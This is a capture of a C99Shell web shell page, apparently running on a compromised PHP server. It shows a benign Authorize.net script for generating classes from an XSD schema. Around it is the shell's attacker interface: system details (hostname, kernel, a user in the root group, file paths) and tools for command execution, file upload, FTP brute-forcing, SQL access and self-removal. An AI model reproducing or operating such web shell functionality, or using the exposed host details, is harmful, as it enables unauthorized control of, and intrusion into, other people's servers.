!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/authorizenet/authorizenet/scripts/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     generateObjectsFromXsd.sh (1.73 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/bin/bash

logfile=./xsdgen.log
echo `date` > $logfile
# sudo apt-get install php5-curl
# composer install

# echo Getting latest XSD
# XSDURL=https://apitest.authorize.net/xml/v1/schema/AnetApiSchema.xsd
# if [ -f AnetApiSchema.xsd ]; then
    # echo "Renaming existing schema file"
    # mv AnetApiSchema.xsd AnetApiSchema.xsd.old
# fi
# wget $XSDURL 1>> $logfile 2>&1
# ERRORCODE=$?
# if [ $ERRORCODE -ne 0 ];then
    # echo "Unable to download XSD from $XSDURL"
    # exit $ERRORCODE
# fi
if [ ! -f AnetApiSchema.xsd ]; then
    echo "SchemaFile not found"
    exit 1
else
	echo "SchemaFile Found!!!"
fi

#create directories that do not exist
apidir=lib/net/authorize/api/contract/v1
#net.authorize.api.contract.v1.
if [ -d "$apidir" ]; then
	rm -r "$apidir"
fi
mkdir -p "$apidir"
echo Make sure the ns-dest uses destination as: $apidir
echo Generating PHP Classes >> $logfile
vendor/goetas/xsd2php/bin/xsd2php  convert:php \
	--ns-dest='net.authorize.api.contract.v1.;lib/net/authorize/api/contract/v1' \
	--ns-map='http://www.w3.org/2001/XMLSchema;W3/XMLSchema/2001/' \
	--ns-map='AnetApi/xml/v1/schema/AnetApiSchema.xsd;net.authorize.api.contract.v1' \
	./AnetApiSchema.xsd  >> $logfile 2>> $logfile
echo Generation of PHP Classes complete >> $logfile

jmsdir=lib/net/authorize/api/yml/v1
if [ -d "$jmsdir" ]; then
	rm -r "$jmsdir"
fi
mkdir -p "$jmsdir"
echo Generating Serializers for Classes >> $logfile
vendor/goetas/xsd2php/bin/xsd2php  convert:jms-yaml \
	--ns-dest='net.authorize.api.contract.v1.;lib/net/authorize/api/yml/v1' \
	--ns-map='http://www.w3.org/2001/XMLSchema;W3/XMLSchema/2001/' \
	--ns-map='AnetApi/xml/v1/schema/AnetApiSchema.xsd;net.authorize.api.contract.v1' \
	./AnetApiSchema.xsd  >> $logfile
echo Generator output is in file: $logfile


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--